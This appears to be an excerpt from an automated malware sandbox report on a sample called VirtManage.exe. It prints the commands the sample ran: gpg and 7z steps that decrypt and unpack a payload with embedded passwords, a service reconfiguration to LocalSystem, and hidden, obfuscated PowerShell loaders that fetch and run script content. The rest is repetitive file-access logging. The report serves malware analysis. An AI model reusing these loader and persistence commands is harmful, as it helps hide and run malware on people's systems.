Source: C:\Users\user\Desktop\VirtManage.exeProcess created: C:\Windows\SysWOW64\w32tm.exe w32tm /monitor /computers:ec2-52-14-160-176.us-east-2.compute.amazonaws.comJump to behavior
Source: C:\Users\user\Desktop\VirtManage.exeProcess created: C:\ProgramData\Microsoft\WindowsUpdate24\gpg.exe C:\ProgramData\Microsoft\WindowsUpdate24\gpg.exe --passphrase "12345678" --batch --yes --output C:\ProgramData\Microsoft\WindowsUpdate24\UpdateFull.7z --decrypt C:\ProgramData\Microsoft\WindowsUpdate24\4FILE.1A.gpgJump to behavior
Source: C:\Users\user\Desktop\VirtManage.exeProcess created: C:\ProgramData\Microsoft\WindowsUpdate24\7za.exe C:\ProgramData\Microsoft\WindowsUpdate24\7za x C:\ProgramData\Microsoft\WindowsUpdate24\UpdateFull.7z -pTG98HJerxsdqWE45 -oC:\ProgramData\Microsoft\WindowsUpdate24Jump to behavior
Source: C:\Users\user\Desktop\VirtManage.exeProcess created: C:\Windows\SysWOW64\sc.exe sc config msdtc start= demandJump to behavior
Source: C:\Users\user\Desktop\VirtManage.exeProcess created: C:\Windows\SysWOW64\sc.exe sc config msdtc obj= "LocalSystem"Jump to behavior
Source: C:\Users\user\Desktop\VirtManage.exeProcess created: C:\ProgramData\Microsoft\WindowsUpdate24\oleview.exe C:\ProgramData\Microsoft\WindowsUpdate24\oleview.exeJump to behavior
Source: C:\Windows\SysWOW64\w32tm.exeProcess created: C:\Windows\System32\w32tm.exe w32tm /monitor /computers:ec2-52-14-160-176.us-east-2.compute.amazonaws.comJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\r5i403kd\r5i403kd.cmdline"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\whoami.exe "C:\Windows\system32\whoami.exe"
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeProcess created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESEA2F.tmp" "c:\Users\user\AppData\Local\Temp\r5i403kd\CSC384ED8B1DBB445E685393158270EAB0.TMP"
Source: C:\ProgramData\Microsoft\WindowsUpdate24\oleview.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -windowstyle hidden -command "si variable:/e $('c:\progra'+'mdata\mic'+'rosoft\wind'+'owsupdate24\kau'+'tix2ae'+'x.t');popd;set-variable x (.(item variable:*xec*t).value.invokecommand.(((item variable:*xec*t).value.invokecommand|get-member|where-object{(ls variable:\_).value.name-like'*mma*d'}).name).invoke((item variable:*xec*t).value.invokecommand.(((item variable:*xec*t).value.invokecommand|get-member|where-object{(ls variable:\_).value.name-like'*dname'}).name).invoke('*w-*ct',1,1),[management.automation.commandtypes]::cmdlet)net.webclient);(get-childitem variable:\x).value.((((get-childitem variable:\x).value|get-member)|where-object{(ls variable:\_).value.name-like'*nl*g'}).name).invoke((gci variable:\e).value)|.( ([string]''.normalize)[77,35,46]-join'')"
Source: C:\ProgramData\Microsoft\LogUpdateWindows\oleview.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -windowstyle hidden -command "si variable:/go $('c:\pro'+'gramdata\mic'+'roso'+'ft\logup'+'datewi'+'ndows\wiaph'+'oh7um.t');set-item variable:/fh 'net.webclient';dir ect*;sv bo (.$executioncontext.(($executioncontext|gm)[6].name).(($executioncontext.(($executioncontext|gm)[6].name).psobject.methods|where{(get-childitem variable:\_).value.name-like'*dl*ts'}).name).invoke('ne*ct')(variable fh -value));si variable:2rn ((((get-childitem variable:/bo).value|gm)|where{(get-childitem variable:\_).value.name-like'*nl*g'}).name);invoke-command(($executioncontext|foreach{(get-childitem variable:\_).value.(($executioncontext|gm)[6].name)|foreach{(gci variable:\_).value.newscriptblock((get-childitem variable:/bo).value.((item variable:/2rn).value).invoke((gi variable:/go).value))}}))"
Source: C:\ProgramData\Microsoft\WindowsUpdate24\oleview.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -windowstyle hidden -command "si variable:/e $('c:\progra'+'mdata\mic'+'rosoft\wind'+'owsupdate24\kau'+'tix2ae'+'x.t');popd;set-variable x (.(item variable:*xec*t).value.invokecommand.(((item variable:*xec*t).value.invokecommand|get-member|where-object{(ls variable:\_).value.name-like'*mma*d'}).name).invoke((item variable:*xec*t).value.invokecommand.(((item variable:*xec*t).value.invokecommand|get-member|where-object{(ls variable:\_).value.name-like'*dname'}).name).invoke('*w-*ct',1,1),[management.automation.commandtypes]::cmdlet)net.webclient);(get-childitem variable:\x).value.((((get-childitem variable:\x).value|get-member)|where-object{(ls variable:\_).value.name-like'*nl*g'}).name).invoke((gci variable:\e).value)|.( ([string]''.normalize)[77,35,46]-join'')"
Source: C:\ProgramData\Microsoft\LogUpdateWindows\oleview.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -windowstyle hidden -command "si variable:/go $('c:\pro'+'gramdata\mic'+'roso'+'ft\logup'+'datewi'+'ndows\wiaph'+'oh7um.t');set-item variable:/fh 'net.webclient';dir ect*;sv bo (.$executioncontext.(($executioncontext|gm)[6].name).(($executioncontext.(($executioncontext|gm)[6].name).psobject.methods|where{(get-childitem variable:\_).value.name-like'*dl*ts'}).name).invoke('ne*ct')(variable fh -value));si variable:2rn ((((get-childitem variable:/bo).value|gm)|where{(get-childitem variable:\_).value.name-like'*nl*g'}).name);invoke-command(($executioncontext|foreach{(get-childitem variable:\_).value.(($executioncontext|gm)[6].name)|foreach{(gci variable:\_).value.newscriptblock((get-childitem variable:/bo).value.((item variable:/2rn).value).invoke((gi variable:/go).value))}}))"
Source: C:\Users\user\Desktop\VirtManage.exeCode function: 0_2_6BDC1096 GetModuleFileNameW,GlobalAlloc,CharPrevW,GlobalFree,GetTempFileNameW,CopyFileW,CreateFileW,CreateFileMappingW,MapViewOfFile,UnmapViewOfFile,CloseHandle,CloseHandle,lstrcatW,lstrlenW,GlobalAlloc,FindWindowExW,FindWindowExW,FindWindowExW,lstrcmpiW,lstrcmpiW,lstrcmpiW,DeleteFileW,GetVersion,GlobalAlloc,InitializeSecurityDescriptor,SetSecurityDescriptorDacl,CreatePipe,CreatePipe,CreatePipe,GetStartupInfoW,CreateProcessW,lstrcpyW,GetTickCount,WaitForSingleObject,GetExitCodeProcess,PeekNamedPipe,GetTickCount,ReadFile,IsTextUnicode,IsDBCSLeadByteEx,MultiByteToWideChar,lstrcpyW,GlobalReAlloc,lstrcpyW,GetTickCount,TerminateProcess,lstrcpyW,Sleep,lstrcpyW,wsprintfW,CloseHandle,CloseHandle,CloseHandle,CloseHandle,CloseHandle,CloseHandle,CloseHandle,DeleteFileW,GlobalFree,GlobalFree,GlobalFree,0_2_6BDC1096
Source: C:\Users\user\Desktop\VirtManage.exeQueries volume information: C:\ VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\VirtManage.exeQueries volume information: C:\ VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\VirtManage.exeQueries volume information: C:\ VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\VirtManage.exeQueries volume information: C:\ VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\VirtManage.exeQueries volume information: C:\ VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\VirtManage.exeQueries volume information: C:\ VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\VirtManage.exeQueries volume information: C:\ VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\VirtManage.exeQueries volume information: C:\ VolumeInformationJump to behavior
Source: C:\Windows\SysWOW64\msiexec.exeQueries volume information: C:\ VolumeInformationJump to behavior
Source: C:\Windows\SysWOW64\msiexec.exeQueries volume information: C:\ VolumeInformationJump to behavior
Source: C:\Windows\System32\msiexec.exeQueries volume information: C:\ VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\Microsoft.PowerShell.LocalAccounts\1.0.0.0\Microsoft.PowerShell.LocalAccounts.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\Microsoft.PowerShell.LocalAccounts\1.0.0.0\Microsoft.PowerShell.LocalAccounts.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
